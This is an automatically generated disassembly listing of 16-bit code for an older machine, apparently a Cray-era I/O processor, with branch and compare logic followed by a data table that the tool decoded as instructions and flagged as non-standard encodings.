0x0126 (0x00024C) 0x2122- f:00020 d: 290 | A = OR[290]
0x0127 (0x00024E) 0xB434- f:00132 d: 52 | R = OR[52], A = 0
0x0128 (0x000250) 0x0000- f:00000 d: 0 | PASS
0x0129 (0x000252) 0x700D- f:00070 d: 13 | P = P + 13 (0x0136)
0x012A (0x000254) 0x2121- f:00020 d: 289 | A = OR[289]
0x012B (0x000256) 0x1602- f:00013 d: 2 | A = A - 2 (0x0002)
0x012C (0x000258) 0x8402- f:00102 d: 2 | P = P + 2 (0x012E), A = 0
0x012D (0x00025A) 0x7006- f:00070 d: 6 | P = P + 6 (0x0133)
0x012E (0x00025C) 0x211B- f:00020 d: 283 | A = OR[283]
0x012F (0x00025E) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x0130 (0x000260) 0x2908- f:00024 d: 264 | OR[264] = A
0x0131 (0x000262) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0132 (0x000264) 0x2923- f:00024 d: 291 | OR[291] = A
0x0133 (0x000266) 0x2122- f:00020 d: 290 | A = OR[290]
0x0134 (0x000268) 0x2723- f:00023 d: 291 | A = A - OR[291]
0x0135 (0x00026A) 0x864D- f:00103 d: 77 | P = P + 77 (0x0182), A # 0
0x0136 (0x00026C) 0x2119- f:00020 d: 281 | A = OR[281]
0x0137 (0x00026E) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x0138 (0x000270) 0x2908- f:00024 d: 264 | OR[264] = A
0x0139 (0x000272) 0x3108- f:00030 d: 264 | A = (OR[264])
0x013A (0x000274) 0x2921- f:00024 d: 289 | OR[289] = A
0x013B (0x000276) 0x2121- f:00020 d: 289 | A = OR[289]
0x013C (0x000278) 0x1602- f:00013 d: 2 | A = A - 2 (0x0002)
0x013D (0x00027A) 0x8402- f:00102 d: 2 | P = P + 2 (0x013F), A = 0
0x013E (0x00027C) 0x7022- f:00070 d: 34 | P = P + 34 (0x0160)
0x013F (0x00027E) 0x211A- f:00020 d: 282 | A = OR[282]
0x0140 (0x000280) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004)
0x0141 (0x000282) 0x2908- f:00024 d: 264 | OR[264] = A
0x0142 (0x000284) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0143 (0x000286) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x0144 (0x000288) 0x120F- f:00011 d: 15 | A = A & 15 (0x000F)
0x0145 (0x00028A) 0x2922- f:00024 d: 290 | OR[290] = A
0x0146 (0x00028C) 0x311B- f:00030 d: 283 | A = (OR[283])
0x0147 (0x00028E) 0x2923- f:00024 d: 291 | OR[291] = A
0x0148 (0x000290) 0x2122- f:00020 d: 290 | A = OR[290]
0x0149 (0x000292) 0x2723- f:00023 d: 291 | A = A - OR[291]
0x014A (0x000294) 0x8638- f:00103 d: 56 | P = P + 56 (0x0182), A # 0
0x014B (0x000296) 0x211A- f:00020 d: 282 | A = OR[282]
0x014C (0x000298) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004)
0x014D (0x00029A) 0x2908- f:00024 d: 264 | OR[264] = A
0x014E (0x00029C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x014F (0x00029E) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0150 (0x0002A0) 0x2922- f:00024 d: 290 | OR[290] = A
0x0151 (0x0002A2) 0x2122- f:00020 d: 290 | A = OR[290]
0x0152 (0x0002A4) 0x8630- f:00103 d: 48 | P = P + 48 (0x0182), A # 0
0x0153 (0x0002A6) 0x211A- f:00020 d: 282 | A = OR[282]
0x0154 (0x0002A8) 0x1405- f:00012 d: 5 | A = A + 5 (0x0005)
0x0155 (0x0002AA) 0x2908- f:00024 d: 264 | OR[264] = A
0x0156 (0x0002AC) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0157 (0x0002AE) 0x2922- f:00024 d: 290 | OR[290] = A
0x0158 (0x0002B0) 0x211B- f:00020 d: 283 | A = OR[283]
0x0159 (0x0002B2) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x015A (0x0002B4) 0x2908- f:00024 d: 264 | OR[264] = A
0x015B (0x0002B6) 0x3108- f:00030 d: 264 | A = (OR[264])
0x015C (0x0002B8) 0x2923- f:00024 d: 291 | OR[291] = A
0x015D (0x0002BA) 0x2122- f:00020 d: 290 | A = OR[290]
0x015E (0x0002BC) 0x2723- f:00023 d: 291 | A = A - OR[291]
0x015F (0x0002BE) 0x8623- f:00103 d: 35 | P = P + 35 (0x0182), A # 0
0x0160 (0x0002C0) 0x2119- f:00020 d: 281 | A = OR[281]
0x0161 (0x0002C2) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004)
0x0162 (0x0002C4) 0x2908- f:00024 d: 264 | OR[264] = A
0x0163 (0x0002C6) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0164 (0x0002C8) 0x2921- f:00024 d: 289 | OR[289] = A
0x0165 (0x0002CA) 0x2121- f:00020 d: 289 | A = OR[289]
0x0166 (0x0002CC) 0x1603- f:00013 d: 3 | A = A - 3 (0x0003)
0x0167 (0x0002CE) 0x8402- f:00102 d: 2 | P = P + 2 (0x0169), A = 0
0x0168 (0x0002D0) 0x7018- f:00070 d: 24 | P = P + 24 (0x0180)
0x0169 (0x0002D2) 0x211A- f:00020 d: 282 | A = OR[282]
0x016A (0x0002D4) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x016B (0x0002D6) 0x2908- f:00024 d: 264 | OR[264] = A
0x016C (0x0002D8) 0x3108- f:00030 d: 264 | A = (OR[264])
0x016D (0x0002DA) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x016E (0x0002DC) 0x2922- f:00024 d: 290 | OR[290] = A
0x016F (0x0002DE) 0x2122- f:00020 d: 290 | A = OR[290]
0x0170 (0x0002E0) 0x8404- f:00102 d: 4 | P = P + 4 (0x0174), A = 0
0x0171 (0x0002E2) 0x1800-0x003D f:00014 d: 0 | A = 61 (0x003D)
0x0173 (0x0002E6) 0x2925- f:00024 d: 293 | OR[293] = A
0x0174 (0x0002E8) 0x2122- f:00020 d: 290 | A = OR[290]
0x0175 (0x0002EA) 0x1608- f:00013 d: 8 | A = A - 8 (0x0008)
0x0176 (0x0002EC) 0x8604- f:00103 d: 4 | P = P + 4 (0x017A), A # 0
0x0177 (0x0002EE) 0x1800-0x0037 f:00014 d: 0 | A = 55 (0x0037)
0x0179 (0x0002F2) 0x2925- f:00024 d: 293 | OR[293] = A
0x017A (0x0002F4) 0x2122- f:00020 d: 290 | A = OR[290]
0x017B (0x0002F6) 0x16AC- f:00013 d: 172 | A = A - 172 (0x00AC)
0x017C (0x0002F8) 0x8604- f:00103 d: 4 | P = P + 4 (0x0180), A # 0
0x017D (0x0002FA) 0x1800-0x003A f:00014 d: 0 | A = 58 (0x003A)
0x017F (0x0002FE) 0x2925- f:00024 d: 293 | OR[293] = A
0x0180 (0x000300) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0181 (0x000302) 0x2924- f:00024 d: 292 | OR[292] = A
0x0182 (0x000304) 0x0200- f:00001 d: 0 | EXIT
0x0183 (0x000306) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x0184 (0x000308) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x0185 (0x00030A) 0x0080- f:00000 d: 128 | PASS | **** non-standard encoding with D:0x0080 ****
0x0186 (0x00030C) 0x0000- f:00000 d: 0 | PASS
0x0187 (0x00030E) 0x0000- f:00000 d: 0 | PASS
0x0188 (0x000310) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x0189 (0x000312) 0x0000- f:00000 d: 0 | PASS
0x018A (0x000314) 0x0000- f:00000 d: 0 | PASS
0x018B (0x000316) 0x0000- f:00000 d: 0 | PASS
0x018C (0x000318) 0x0000- f:00000 d: 0 | PASS
0x018D (0x00031A) 0x0006- f:00000 d: 6 | PASS | **** non-standard encoding with D:0x0006 ****
0x018E (0x00031C) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x018F (0x00031E) 0x0B40- f:00005 d: 320 | A = A < 320 (0x0140)
0x0190 (0x000320) 0x0002- f:00000 d: 2 | PASS | **** non-standard encoding with D:0x0002 ****
0x0191 (0x000322) 0x0000- f:00000 d: 0 | PASS
0x0192 (0x000324) 0x0007- f:00000 d: 7 | PASS | **** non-standard encoding with D:0x0007 ****
0x0193 (0x000326) 0x0002- f:00000 d: 2 | PASS | **** non-standard encoding with D:0x0002 ****
0x0194 (0x000328) 0x0000- f:00000 d: 0 | PASS
0x0195 (0x00032A) 0x0002- f:00000 d: 2 | PASS | **** non-standard encoding with D:0x0002 ****
0x0196 (0x00032C) 0x0000- f:00000 d: 0 | PASS
0x0197 (0x00032E) 0x0009- f:00000 d: 9 | PASS | **** non-standard encoding with D:0x0009 ****
0x0198 (0x000330) 0x0000- f:00000 d: 0 | PASS
0x0199 (0x000332) 0x0000- f:00000 d: 0 | PASS
0x019A (0x000334) 0x0000- f:00000 d: 0 | PASS
0x019B (0x000336) 0x0000- f:00000 d: 0 | PASS
0x019C (0x000338) 0x000C- f:00000 d: 12 | PASS | **** non-standard encoding with D:0x000C ****
0x019D (0x00033A) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x019E (0x00033C) 0x00C0- f:00000 d: 192 | PASS | **** non-standard encoding with D:0x00C0 ****
0x019F (0x00033E) 0x0000- f:00000 d: 0 | PASS
0x01A0 (0x000340) 0x0000- f:00000 d: 0 | PASS
0x01A1 (0x000342) 0x000D- f:00000 d: 13 | PASS | **** non-standard encoding with D:0x000D ****
0x01A2 (0x000344) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x01A3 (0x000346) 0x0340- f:00001 d: 320 | EXIT | **** non-standard encoding with D:0x0140 ****
0x01A4 (0x000348) 0x0000- f:00000 d: 0 | PASS
0x01A5 (0x00034A) 0x0000- f:00000 d: 0 | PASS
0x01A6 (0x00034C) 0x0011- f:00000 d: 17 | PASS | **** non-standard encoding with D:0x0011 ****
0x01A7 (0x00034E) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x01A8 (0x000350) 0x00C0- f:00000 d: 192 | PASS | **** non-standard encoding with D:0x00C0 ****
0x01A9 (0x000352) 0x0000- f:00000 d: 0 | PASS
0x01AA (0x000354) 0x0000- f:00000 d: 0 | PASS
0x01AB (0x000356) 0x0012- f:00000 d: 18 | PASS | **** non-standard encoding with D:0x0012 ****
0x01AC (0x000358) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x01AD (0x00035A) 0x0080- f:00000 d: 128 | PASS | **** non-standard encoding with D:0x0080 ****
0x01AE (0x00035C) 0x0000- f:00000 d: 0 | PASS
0x01AF (0x00035E) 0x0000- f:00000 d: 0 | PASS
0x01B0 (0x000360) 0x0013- f:00000 d: 19 | PASS | **** non-standard encoding with D:0x0013 ****
0x01B1 (0x000362) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x01B2 (0x000364) 0x0140- f:00000 d: 320 | PASS | **** non-standard encoding with D:0x0140 ****
0x01B3 (0x000366) 0x0000- f:00000 d: 0 | PASS
0x01B4 (0x000368) 0x0000- f:00000 d: 0 | PASS
0x01B5 (0x00036A) 0x0014- f:00000 d: 20 | PASS | **** non-standard encoding with D:0x0014 ****
0x01B6 (0x00036C) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x01B7 (0x00036E) 0x0080- f:00000 d: 128 | PASS | **** non-standard encoding with D:0x0080 ****
0x01B8 (0x000370) 0x0000- f:00000 d: 0 | PASS
0x01B9 (0x000372) 0x0000- f:00000 d: 0 | PASS
0x01BA (0x000374) 0x0015- f:00000 d: 21 | PASS | **** non-standard encoding with D:0x0015 ****
0x01BB (0x000376) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x01BC (0x000378) 0x0080- f:00000 d: 128 | PASS | **** non-standard encoding with D:0x0080 ****
0x01BD (0x00037A) 0x0000- f:00000 d: 0 | PASS
0x01BE (0x00037C) 0x0000- f:00000 d: 0 | PASS
0x01BF (0x00037E) 0x0016- f:00000 d: 22 | PASS | **** non-standard encoding with D:0x0016 ****
0x01C0 (0x000380) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x01C1 (0x000382) 0x0340- f:00001 d: 320 | EXIT | **** non-standard encoding with D:0x0140 ****
0x01C2 (0x000384) 0x0000- f:00000 d: 0 | PASS
0x01C3 (0x000386) 0x0000- f:00000 d: 0 | PASS
0x01C4 (0x000388) 0x0017- f:00000 d: 23 | PASS | **** non-standard encoding with D:0x0017 ****
0x01C5 (0x00038A) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x01C6 (0x00038C) 0x02C0- f:00001 d: 192 | EXIT | **** non-standard encoding with D:0x00C0 ****
0x01C7 (0x00038E) 0x0000- f:00000 d: 0 | PASS
0x01C8 (0x000390) 0x0000- f:00000 d: 0 | PASS
0x01C9 (0x000392) 0x0024- f:00000 d: 36 | PASS | **** non-standard encoding with D:0x0024 ****
0x01CA (0x000394) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x01CB (0x000396) 0x0080- f:00000 d: 128 | PASS | **** non-standard encoding with D:0x0080 ****
0x01CC (0x000398) 0x0000- f:00000 d: 0 | PASS
0x01CD (0x00039A) 0x0000- f:00000 d: 0 | PASS
0x01CE (0x00039C) 0x0027- f:00000 d: 39 | PASS | **** non-standard encoding with D:0x0027 ****
0x01CF (0x00039E) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x01D0 (0x0003A0) 0x8000- f:00100 d: 0 | P = P + 0 (0x01D0), C = 0
0x01D1 (0x0003A2) 0x0000- f:00000 d: 0 | PASS
0x01D2 (0x0003A4) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x01D3 (0x0003A6) 0x000F- f:00000 d: 15 | PASS | **** non-standard encoding with D:0x000F ****
0x01D4 (0x0003A8) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x01D5 (0x0003AA) 0x8000- f:00100 d: 0 | P = P + 0 (0x01D5), C = 0
0x01D6 (0x0003AC) 0x0000- f:00000 d: 0 | PASS
0x01D7 (0x0003AE) 0x0000- f:00000 d: 0 | PASS
0x01D8 (0x0003B0) 0x0028- f:00000 d: 40 | PASS | **** non-standard encoding with D:0x0028 ****
0x01D9 (0x0003B2) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x01DA (0x0003B4) 0x0080- f:00000 d: 128 | PASS | **** non-standard encoding with D:0x0080 ****
0x01DB (0x0003B6) 0x0000- f:00000 d: 0 | PASS
0x01DC (0x0003B8) 0x0000- f:00000 d: 0 | PASS
0x01DD (0x0003BA) 0x002A- f:00000 d: 42 | PASS | **** non-standard encoding with D:0x002A ****
0x01DE (0x0003BC) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x01DF (0x0003BE) 0x0080- f:00000 d: 128 | PASS | **** non-standard encoding with D:0x0080 ****
0x01E0 (0x0003C0) 0x0000- f:00000 d: 0 | PASS
0x01E1 (0x0003C2) 0x0000- f:00000 d: 0 | PASS
0x01E2 (0x0003C4) 0x002C- f:00000 d: 44 | PASS | **** non-standard encoding with D:0x002C ****
0x01E3 (0x0003C6) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x01E4 (0x0003C8) 0x8000- f:00100 d: 0 | P = P + 0 (0x01E4), C = 0
0x01E5 (0x0003CA) 0x0000- f:00000 d: 0 | PASS
0x01E6 (0x0003CC) 0x0000- f:00000 d: 0 | PASS
0x01E7 (0x0003CE) 0x0032- f:00000 d: 50 | PASS | **** non-standard encoding with D:0x0032 ****
0x01E8 (0x0003D0) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x01E9 (0x0003D2) 0x0080- f:00000 d: 128 | PASS | **** non-standard encoding with D:0x0080 ****
0x01EA (0x0003D4) 0x0000- f:00000 d: 0 | PASS
0x01EB (0x0003D6) 0x0000- f:00000 d: 0 | PASS
0x01EC (0x0003D8) 0x0030- f:00000 d: 48 | PASS | **** non-standard encoding with D:0x0030 ****
0x01ED (0x0003DA) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x01EE (0x0003DC) 0x0080- f:00000 d: 128 | PASS | **** non-standard encoding with D:0x0080 ****
0x01EF (0x0003DE) 0x0000- f:00000 d: 0 | PASS
0x01F0 (0x0003E0) 0x0000- f:00000 d: 0 | PASS
0x01F1 (0x0003E2) 0x002E- f:00000 d: 46 | PASS | **** non-standard encoding with D:0x002E ****
0x01F2 (0x0003E4) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x01F3 (0x0003E6) 0x01C0- f:00000 d: 448 | PASS | **** non-standard encoding with D:0x01C0 ****
0x01F4 (0x0003E8) 0x0000- f:00000 d: 0 | PASS
0x01F5 (0x0003EA) 0x0000- f:00000 d: 0 | PASS
0x01F6 (0x0003EC) 0x0034- f:00000 d: 52 | PASS | **** non-standard encoding with D:0x0034 ****
0x01F7 (0x0003EE) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x01F8 (0x0003F0) 0x00C0- f:00000 d: 192 | PASS | **** non-standard encoding with D:0x00C0 ****
0x01F9 (0x0003F2) 0x0000- f:00000 d: 0 | PASS
0x01FA (0x0003F4) 0x0000- f:00000 d: 0 | PASS
0x01FB (0x0003F6) 0x0036- f:00000 d: 54 | PASS | **** non-standard encoding with D:0x0036 ****
0x01FC (0x0003F8) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x01FD (0x0003FA) 0x0080- f:00000 d: 128 | PASS | **** non-standard encoding with D:0x0080 ****
0x01FE (0x0003FC) 0x0000- f:00000 d: 0 | PASS
0x01FF (0x0003FE) 0x0000- f:00000 d: 0 | PASS
0x0200 (0x000400) 0x0040- f:00000 d: 64 | PASS | **** non-standard encoding with D:0x0040 ****
0x0201 (0x000402) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x0202 (0x000404) 0x0080- f:00000 d: 128 | PASS | **** non-standard encoding with D:0x0080 ****
0x0203 (0x000406) 0x0000- f:00000 d: 0 | PASS
0x0204 (0x000408) 0x0000- f:00000 d: 0 | PASS
0x0205 (0x00040A) 0x0004- f:00000 d: 4 | PASS | **** non-standard encoding with D:0x0004 ****
0x0206 (0x00040C) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x0207 (0x00040E) 0x0180- f:00000 d: 384 | PASS | **** non-standard encoding with D:0x0180 ****
0x0208 (0x000410) 0x0000- f:00000 d: 0 | PASS
0x0209 (0x000412) 0x0000- f:00000 d: 0 | PASS
0x020A (0x000414) 0x0006- f:00000 d: 6 | PASS | **** non-standard encoding with D:0x0006 ****
0x020B (0x000416) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x020C (0x000418) 0x0B40- f:00005 d: 320 | A = A < 320 (0x0140)
0x020D (0x00041A) 0x0002- f:00000 d: 2 | PASS | **** non-standard encoding with D:0x0002 ****
0x020E (0x00041C) 0x0000- f:00000 d: 0 | PASS
0x020F (0x00041E) 0x0007- f:00000 d: 7 | PASS | **** non-standard encoding with D:0x0007 ****
0x0210 (0x000420) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x0211 (0x000422) 0x8000- f:00100 d: 0 | P = P + 0 (0x0211), C = 0
0x0212 (0x000424) 0x0002- f:00000 d: 2 | PASS | **** non-standard encoding with D:0x0002 ****
0x0213 (0x000426) 0x0000- f:00000 d: 0 | PASS
0x0214 (0x000428) 0x0009- f:00000 d: 9 | PASS | **** non-standard encoding with D:0x0009 ****
0x0215 (0x00042A) 0x0000- f:00000 d: 0 | PASS
0x0216 (0x00042C) 0x0000- f:00000 d: 0 | PASS
0x0217 (0x00042E) 0x0000- f:00000 d: 0 | PASS
0x0218 (0x000430) 0x0000- f:00000 d: 0 | PASS
0x0219 (0x000432) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B ****
0x021A (0x000434) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x021B (0x000436) 0x0B80- f:00005 d: 384 | A = A < 384 (0x0180)
0x021C (0x000438) 0x0000- f:00000 d: 0 | PASS
0x021D (0x00043A) 0x0000- f:00000 d: 0 | PASS
0x021E (0x00043C) 0x000E- f:00000 d: 14 | PASS | **** non-standard encoding with D:0x000E ****
0x021F (0x00043E) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x0220 (0x000440) 0x0040- f:00000 d: 64 | PASS | **** non-standard encoding with D:0x0040 ****
0x0221 (0x000442) 0x0000- f:00000 d: 0 | PASS
0x0222 (0x000444) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x0223 (0x000446) 0x0019- f:00000 d: 25 | PASS | **** non-standard encoding with D:0x0019 ****
0x0224 (0x000448) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x0225 (0x00044A) 0x0540- f:00002 d: 320 | I = 0 | **** non-standard encoding with D:0x0140 ****
0x0226 (0x00044C) 0x0000- f:00000 d: 0 | PASS
0x0227 (0x00044E) 0x0000- f:00000 d: 0 | PASS
0x0228 (0x000450) 0x001A- f:00000 d: 26 | PASS | **** non-standard encoding with D:0x001A ****
0x0229 (0x000452) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x022A (0x000454) 0x8000- f:00100 d: 0 | P = P + 0 (0x022A), C = 0
0x022B (0x000456) 0x0000- f:00000 d: 0 | PASS
0x022C (0x000458) 0x0000- f:00000 d: 0 | PASS
0x022D (0x00045A) 0x001B- f:00000 d: 27 | PASS | **** non-standard encoding with D:0x001B ****
0x022E (0x00045C) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x022F (0x00045E) 0x0380- f:00001 d: 384 | EXIT | **** non-standard encoding with D:0x0180 ****
0x0230 (0x000460) 0x0000- f:00000 d: 0 | PASS
0x0231 (0x000462) 0x0000- f:00000 d: 0 | PASS
0x0232 (0x000464) 0x001C- f:00000 d: 28 | PASS | **** non-standard encoding with D:0x001C ****
0x0233 (0x000466) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x0234 (0x000468) 0x8000- f:00100 d: 0 | P = P + 0 (0x0234), C = 0
0x0235 (0x00046A) 0x0000- f:00000 d: 0 | PASS
0x0236 (0x00046C) 0x0000- f:00000 d: 0 | PASS
0x0237 (0x00046E) 0x001D- f:00000 d: 29 | PASS | **** non-standard encoding with D:0x001D ****
0x0238 (0x000470) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x0239 (0x000472) 0x8000- f:00100 d: 0 | P = P + 0 (0x0239), C = 0
0x023A (0x000474) 0x0000- f:00000 d: 0 | PASS
0x023B (0x000476) 0x0000- f:00000 d: 0 | PASS
0x023C (0x000478) 0x001E- f:00000 d: 30 | PASS | **** non-standard encoding with D:0x001E ****
0x023D (0x00047A) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x023E (0x00047C) 0x0040- f:00000 d: 64 | PASS | **** non-standard encoding with D:0x0040 ****
0x023F (0x00047E) 0x0000- f:00000 d: 0 | PASS
0x0240 (0x000480) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x0241 (0x000482) 0x001F- f:00000 d: 31 | PASS | **** non-standard encoding with D:0x001F ****
0x0242 (0x000484) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x0243 (0x000486) 0x8000- f:00100 d: 0 | P = P + 0 (0x0243), C = 0
0x0244 (0x000488) 0x0000- f:00000 d: 0 | PASS
0x0245 (0x00048A) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x0246 (0x00048C) 0x0025- f:00000 d: 37 | PASS | **** non-standard encoding with D:0x0025 ****
0x0247 (0x00048E) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x0248 (0x000490) 0x8000- f:00100 d: 0 | P = P + 0 (0x0248), C = 0
0x0249 (0x000492) 0x0000- f:00000 d: 0 | PASS
0x024A (0x000494) 0x0000- f:00000 d: 0 | PASS
0x024B (0x000496) 0x0026- f:00000 d: 38 | PASS | **** non-standard encoding with D:0x0026 ****
0x024C (0x000498) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x024D (0x00049A) 0x8000- f:00100 d: 0 | P = P + 0 (0x024D), C = 0
0x024E (0x00049C) 0x0000- f:00000 d: 0 | PASS
0x024F (0x00049E) 0x0000- f:00000 d: 0 | PASS
0x0250 (0x0004A0) 0x0010- f:00000 d: 16 | PASS | **** non-standard encoding with D:0x0010 ****
0x0251 (0x0004A2) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x0252 (0x0004A4) 0x0040- f:00000 d: 64 | PASS | **** non-standard encoding with D:0x0040 ****
0x0253 (0x0004A6) 0x0000- f:00000 d: 0 | PASS
0x0254 (0x0004A8) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x0255 (0x0004AA) 0x0029- f:00000 d: 41 | PASS | **** non-standard encoding with D:0x0029 ****
0x0256 (0x0004AC) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x0257 (0x0004AE) 0x8000- f:00100 d: 0 | P = P + 0 (0x0257), C = 0
0x0258 (0x0004B0) 0x0000- f:00000 d: 0 | PASS
0x0259 (0x0004B2) 0x0000- f:00000 d: 0 | PASS
0x025A (0x0004B4) 0x002B- f:00000 d: 43 | PASS | **** non-standard encoding with D:0x002B ****
0x025B (0x0004B6) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x025C (0x0004B8) 0x8000- f:00100 d: 0 | P = P + 0 (0x025C), C = 0
0x025D (0x0004BA) 0x0000- f:00000 d: 0 | PASS
0x025E (0x0004BC) 0x0000- f:00000 d: 0 | PASS
0x025F (0x0004BE) 0x002D- f:00000 d: 45 | PASS | **** non-standard encoding with D:0x002D ****
0x0260 (0x0004C0) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x0261 (0x0004C2) 0x0040- f:00000 d: 64 | PASS | **** non-standard encoding with D:0x0040 ****
0x0262 (0x0004C4) 0x0000- f:00000 d: 0 | PASS
0x0263 (0x0004C6) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x0264 (0x0004C8) 0x0033- f:00000 d: 51 | PASS | **** non-standard encoding with D:0x0033 ****
0x0265 (0x0004CA) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x0266 (0x0004CC) 0x8000- f:00100 d: 0 | P = P + 0 (0x0266), C = 0
0x0267 (0x0004CE) 0x0000- f:00000 d: 0 | PASS
0x0268 (0x0004D0) 0x0000- f:00000 d: 0 | PASS
0x0269 (0x0004D2) 0x0031- f:00000 d: 49 | PASS | **** non-standard encoding with D:0x0031 ****
0x026A (0x0004D4) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x026B (0x0004D6) 0x8000- f:00100 d: 0 | P = P + 0 (0x026B), C = 0
0x026C (0x0004D8) 0x0000- f:00000 d: 0 | PASS
0x026D (0x0004DA) 0x0000- f:00000 d: 0 | PASS
0x026E (0x0004DC) 0x002F- f:00000 d: 47 | PASS | **** non-standard encoding with D:0x002F ****
0x026F (0x0004DE) 0x0001- f:00000 d: 1 | PASS | **** non-standard encoding with D:0x0001 ****
0x0270 (0x0004E0) 0x04C0- f:00002 d: 192 | I = 0 | **** non-standard encoding with D:0x00C0 ****
0x0271 (0x0004E2) 0x0000- f:00000 d: 0 | PASS
0x0272 (0x0004E4) 0x0000- f:00000 d: 0 | PASS
0x0273 (0x0004E6) 0x0035- f:00000 d: 53 | PASS | **** non-standard encoding with D:0x0035 ****
0x0274 (0x0004E8) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x0275 (0x0004EA) 0x8000- f:00100 d: 0 | P = P + 0 (0x0275), C = 0
0x0276 (0x0004EC) 0x0000- f:00000 d: 0 | PASS
0x0277 (0x0004EE) 0x0000- f:00000 d: 0 | PASS
0x0278 (0x0004F0) 0x0037- f:00000 d: 55 | PASS | **** non-standard encoding with D:0x0037 ****
0x0279 (0x0004F2) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x027A (0x0004F4) 0x8000- f:00100 d: 0 | P = P + 0 (0x027A), C = 0
0x027B (0x0004F6) 0x0000- f:00000 d: 0 | PASS
0x027C (0x0004F8) 0x0000- f:00000 d: 0 | PASS
0x027D (0x0004FA) 0x0041- f:00000 d: 65 | PASS | **** non-standard encoding with D:0x0041 ****
0x027E (0x0004FC) 0x0003- f:00000 d: 3 | PASS | **** non-standard encoding with D:0x0003 ****
0x027F (0x0004FE) 0x8000- f:00100 d: 0 | P = P + 0 (0x027F), C = 0
0x0280 (0x000500) 0x0000- f:00000 d: 0 | PASS
